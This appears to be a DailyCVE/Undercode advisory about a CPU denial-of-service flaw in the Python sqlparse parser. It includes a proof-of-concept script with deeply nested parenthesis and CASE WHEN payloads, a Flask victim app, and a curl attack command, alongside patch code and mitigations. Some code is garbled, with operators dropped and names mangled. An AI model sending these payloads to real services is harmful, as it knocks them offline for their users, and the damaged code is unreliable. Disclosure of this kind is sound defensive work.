sqlparse, CPU Denial of Service (DoS), CVE-2026-54284 (High) -DC-Aug2026-1559

Listen to this Post

sqlparse, a non-validating SQL parser for Python, implements hard limits (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) designed to cap parsing work on attacker-controlled SQL. However, the code path that reaches these caps is itself vulnerable to a severe CPU denial-of-service (DoS) attack.
The root cause lies in the `TokenList.__init__` method, which calls super().__init__(None, str(self)). The `TokenList.__str__` method flattens the entire subtree by calling `flatten()` on every invocation. During SQL parsing, grouping constructs a new `TokenList` for every parenthesis, `CASE` statement, or list group. Consequently, a tree of depth `d` with `n` total tokens performs `O(n d)` flatten work to materialize a cached `value` field that is never actually read for grouped nodes.
This creates a quadratic inefficiency distinct from the input-size caps introduced in previous fixes (GHSA-2m57-hf25-phgg and GHSA-27jp-wm6q-gp25). An attacker can exploit this with a small SQL payload, such as `SELECT (((((1)))))…` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain. A mere 2 KB malicious payload can consume ~10 seconds of CPU time per request on a single worker, representing a ~5000x CPU-to-input amplification. The `SQLParseError` exception is only raised after this CPU-intensive work has already been performed.
The vulnerable code exists in `sqlparse/sql.pyL162` (release 0.5.5) and all prior versions that include the `TokenList.__init__` method. The grouping pipeline that triggers this issue is located in `sqlparse/engine/grouping.pyL80` (group_parenthesis) and `L84` (group_case). All documented entry points—sqlparse.parse(sql), sqlparse.format(sql, reindent=True), and sqlparse.split(sql)—are vulnerable by default, with no opt-in flag to disable the quadratic behavior. This affects real-world consumers like SQL formatter web services, Django’s format_debug_sql, and metadata libraries such as sql-metadata.

DailyCVE Form:

Platform: Python
Version: <=0.5.5
Vulnerability : CPU DoS
Severity: High (8.7 CVSS)
date: 2026-08-17

Prediction: 2026-08-20

What Undercode Say:

Analytics & Reproduction

The following bash commands and Python code can be used to reproduce the vulnerability and analyze its performance impact.

1. Setup and Environment

Create and activate a virtual environment
python3 -m venv venv
source venv/bin/activate
Install the vulnerable version
pip install sqlparse==0.5.5

2. Minimal Proof of Concept (PoC)

Save the following as `poc.py`:

import sqlparse
import time
import signal
def _h(s, f):
raise TimeoutError()
signal.signal(signal.SIGALRM, _h)
def measure(label, sql, fn):
signal.alarm(30)
t0 = time.perf_counter()
status = 'OK'
try:
fn(sql)
except sqlparse.exceptions.SQLParseError:
status = 'CAP'
except TimeoutError:
status = 'TIMEOUT'
finally:
signal.alarm(0)
dt = (time.perf_counter() - t0) 1000
print(f' {status:8} {dt:8.1f}ms {label} ({len(sql)} B)')
Vector 1: Deeply nested parentheses
for n in (200, 500, 1000, 2000):
sql = 'SELECT ' + '(' n + '1' + ')' n
measure(f'nested-paren n={n}', sql, sqlparse.parse)
Vector 2: Deeply nested CASE WHEN
for n in (100, 200, 400):
case = '1'
for i in range(n):
case = f'CASE WHEN x={i} THEN {case} ELSE NULL END'
measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse)

3. cProfile Analysis

python -m cProfile -s cumtime poc.py

4. End-to-End Reproduction (Flask Victim App)

Save the following as `victim_app.py`:

from flask import Flask, request, jsonify
import sqlparse
import time
app = Flask(<strong>name</strong>)
@app.route('/parse', methods=['POST'])
def parse_sql():
sql = request.get_data(as_text=True)
t0 = time.perf_counter()
try:
sqlparse.parse(sql)
return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)1000, 1)})
except sqlparse.exceptions.SQLParseError as e:
return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)1000, 1), 'error': str(e)}), 400
@app.route('/format', methods=['POST'])
def format_sql():
sql = request.get_data(as_text=True)
t0 = time.perf_counter()
formatted = sqlparse.format(sql, reindent=True, keyword_case='upper')
return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)1000, 1), 'len': len(formatted)})
if <strong>name</strong> == '<strong>main</strong>':
app.run(host='127.0.0.1', port=5099, threaded=False)

Run the victim app and send malicious payloads:

Start the server
python victim_app.py
In another terminal, send a malicious payload
curl -X POST http://127.0.0.1:5099/parse -d "SELECT $(\printf '(%s' {1..1000})1$(printf ')%s' {1..1000})"

Exploit: (Educational Purposes!)

An attacker can exploit this vulnerability by sending a small, highly-nested SQL payload to any service that uses sqlparse.parse(), sqlparse.format(), or `sqlparse.split()` on user-supplied input.

Attack Vectors:

  • Deeply Nested Parentheses: A payload like `SELECT (((((1)))))…` with 500-2000 nesting levels.
  • Nested CASE WHEN Chains: A 200-400-level nested `CASE WHEN` statement.
  • Nested Subqueries or ARRAY[] Literals: Any construct that forces the parser to build a deep token tree.

Impact of a Single Request:

  • A 2 KB payload (e.g., 1000 nested parentheses) pins a single worker for ~10 seconds at 100% CPU.
  • A 1 KB payload (500 nested parentheses) consumes ~1.3 seconds of CPU time.

Multi-Worker Denial of Service:

In a multi-worker deployment (e.g., gunicorn -w N), an attacker can send `N` concurrent malicious requests to exhaust the entire worker pool, rendering the service unavailable.

Downstream Library Impact:

Libraries like `sql-metadata` that call `sqlparse.parse()` internally inherit the same vulnerability.

Protection:

1. Upgrade to Fixed Version

The vulnerability is fixed in sqlparse version 0.6.0. Upgrade immediately:

pip install --upgrade sqlparse

2. Apply the Patch Manually (if upgrade is not possible)
Replace the eager `str(self)` materialization in `sqlparse/sql.py` with a single-pass concatenation of children’s already-cached `value` fields:

def <strong>init</strong>(self, tokens=None):
self.tokens = tokens or []
[setattr(token, 'parent', self) for token in self.tokens]
Fix: Avoid O(subtree) flatten; use O(len(tokens)) concatenation
super().<strong>init</strong>(None, ''.join(token.value for token in self.tokens))
self.is_group = True

This fix preserves the `Token.value` invariant while reducing per-node cost from `O(subtree)` to O(len(self.tokens)).

3. Performance Improvement After Fix

| Vector | Before Fix | After Fix | Speedup |

|–||–||

| nested-paren n=500 | 1336 ms | 11 ms | 121x |
| nested-paren n=1000 | 11206 ms | 22 ms | 509x |
| nested-paren n=2000 | TIMEOUT (>10 s) | 45 ms | 220x+ |
| CASE-nested n=200 | 559 ms | 25 ms | 22x |
| CASE-nested n=500 | TIMEOUT (>10 s) | 61 ms | 160x+ |
| benign 1 KB SQL | 3 ms | 3 ms | unchanged |

4. Input Validation (Defense-in-Depth)

If an immediate upgrade is not feasible, consider implementing a reverse proxy or Web Application Firewall (WAF) rule to block requests containing excessive nesting of parentheses or `CASE` statements. However, this is a temporary measure and not a complete solution.

Impact

  • Single-Threaded Services: A 1-2 KB malicious payload can lock a worker for 1-10 seconds, causing significant latency and resource exhaustion.
  • Multi-Worker Services: An attacker can send `N` parallel requests to exhaust the entire worker pool, leading to a full denial of service.
  • Wire-to-CPU Amplification: The worst-case vector exhibits a ~5000x amplification (2 KB request → 10 seconds of CPU time).
  • Downstream Libraries: Any library or application that calls sqlparse.parse(), sqlparse.format(), or `sqlparse.split()` on user input is affected.
  • CVSS Score: 8.7 (High).
  • CWE: CWE-1333 (Inefficient Regular Expression Complexity) and CWE-407 (Inefficient Algorithmic Complexity).

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top